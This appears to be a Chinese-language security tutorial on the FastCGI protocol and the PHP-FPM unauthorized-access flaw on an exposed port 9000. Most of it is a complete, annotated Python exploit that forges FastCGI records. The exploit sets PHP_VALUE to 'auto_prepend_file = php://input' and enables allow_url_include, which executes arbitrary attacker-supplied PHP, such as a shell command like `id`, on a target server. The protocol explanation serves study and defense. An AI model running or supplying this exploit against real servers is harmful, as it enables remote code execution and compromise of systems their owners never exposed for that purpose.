fast-cgi协议:FastCGI协议详解及代码实现
漏洞原理:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
最直接的原因就是:PHP-FPM 默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi 协议,和 fpm 进行通信。
不重复解释漏洞原理,这里讲述一些额外的细节以加深对 fastcgi 的理解。
fastcgi
首先是 fastcgi 协议,fastcgi 是在 cgi 的基础上改进的,cgi 也是一种协议,规定了Web server传输给脚本解释器的数据的格式,例如 php 解释器接收到"cgi"格式的数据后,根据这些数据初始化环境变量,知道执行的脚本是什么。
如果Web server直接用 cgi 协议与解释器打交道,那么它每处理一个HTTP请求,就要创建一个进程,完成任务后销毁它。在高并发的情况下,进程的创建与销毁会导致服务器的性能降低。
因此,fastcgi 协议出现是为了改善这个情况,原理是在内存常驻一个进程用于处理Web server发送的请求,同时建立一个自己的进程池,等待执行脚本的任务。
php-fpm && Web server
现在的网络应用程序普遍使用的架构是 C/S 和 P2P,前者是客户/服务器,类似浏览器跟服务器的关系,后者是分布式的点对点关系,主机上的应用程序既可以充当客户,也可以充当服务器。
php-fpm是实现 fastcgi协议 的“服务器”,Web server是实现了 fastcgi协议 的客户端。
php-fpm 和 Web server 的关系类似浏览器和服务器的关系,它们之间的通信协议就是 fastcgi 协议。
exp分析
fastcgi规定的消息类型有 12 种:
#define FCGI_BEGIN_REQUEST 1 // 开始消息
#define FCGI_ABORT_REQUEST 2 // 服务器终止请求
#define FCGI_END_REQUEST 3 // 请求处理完毕
#define FCGI_PARAMS 4 // 传递参数的消息
#define FCGI_STDIN 5 // 传递输入流的消息(erver --> php-fpm)
#define FCGI_STDOUT 6 // 传递输出流的消息(php --> server)
#define FCGI_STDERR 7
#define FCGI_DATA 8
#define FCGI_GET_VALUES 9
#define FCGI_GET_VALUES_RESULT 10
#define FCGI_UNKNOWN_TYPE 11
#define FCGI_MAXTYPE (FCGI_UNKNOWN_TYPE)
无异常的通信过程:
- server 发送一个 begin 消息头和一个 begin 消息体。
- server 发送一个或多个 params 消息。
params消息头
key长度 + value长度
key + value
key长度 + value长度
key + value
key长度 + value长度
key + value
.....
- 不管有没有发送过有实际内容的 params 消息,最后都要发送一个消息体为空的 params 消息,即只有 params 消息头。
- 发送 server 发送一个或多个 stdin 消息。
stdin消息头
(http的post数据)
.....
- 不管有没有发送过有实际内容的 stdin 消息,最后都要发送一个消息体为空的 stdin 消息,即只有 stdin 消息头。
- 剩下的步骤是 php-fpm 返回消息。
exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
exp分析:
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
# 兼容py2和py3的chr()
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
# ord()
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
# bytes()
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
# 将bytes类型转换成str类型
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
# 消息类型
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
# 消息头长度
__FCGI_HEADER_SIZE = 8
# request state
# 请求的状态
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
# 是否持续连接
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
# 创建消息
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
# 对前一个字节做处理,如果requestid > 255 那么就它有两个字节,即高位字节有数,所以把它移动成一个字节,再与后面第二个字节拼接
# 0xFF 表示只取后面那个字节,0000 0001 0011 0010 >> 8 -- 0000 0000 0000 0001 && 0xFF -- 0000 0001
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
# 生成params消息体
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
# 如果键名长度大于 \xFF,就设为 4 个字节长度,否则就是一个字节
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
# 如果值的长度大于 \xFF,就设为 4 个字节长度,否则就是一个字节
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
# 解析消息头
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
# 解析消息
def __decodeFastCGIRecord(self, buffer):
# 截取消息头(8个字节)
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
# 读取消息体
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
# 清空剩下的填充字节
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
# 随机生成一个请求ID,以区别不同的HTTP请求,当然这里的作用不大
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
'''
begin消息体
struct FCGI_BeginRequestBody {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} ;
'''
# \x00\x01\x00\x00\x00\x00\x00\x00\x00
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
# 创建一个消息
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
# 不管有没有消息体,最后都要发送一个消息体为空的params消息
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
# stdin消息体,同样不管有没有消息体,最后都要发送一个消息体为空的stdin消息
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
# 解析消息
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
# 例1:python xx.py 127.0.0.1 /usr/local/lib/php/System.php 默认执行<?php phpinfo();exit;?>
# 例2:python xx.py 127.0.0.1 /usr/local/lib/php/System.php -c "<?php echo `id`;exit;?>"
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
# 例如上面例子的/usr/local/lib/php/System.php
uri = args.file
# <?php echo `id`;exit;?>
content = args.code
# params消息传输下面这些键值对,php-fpm用于设置环境变量等作用。
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))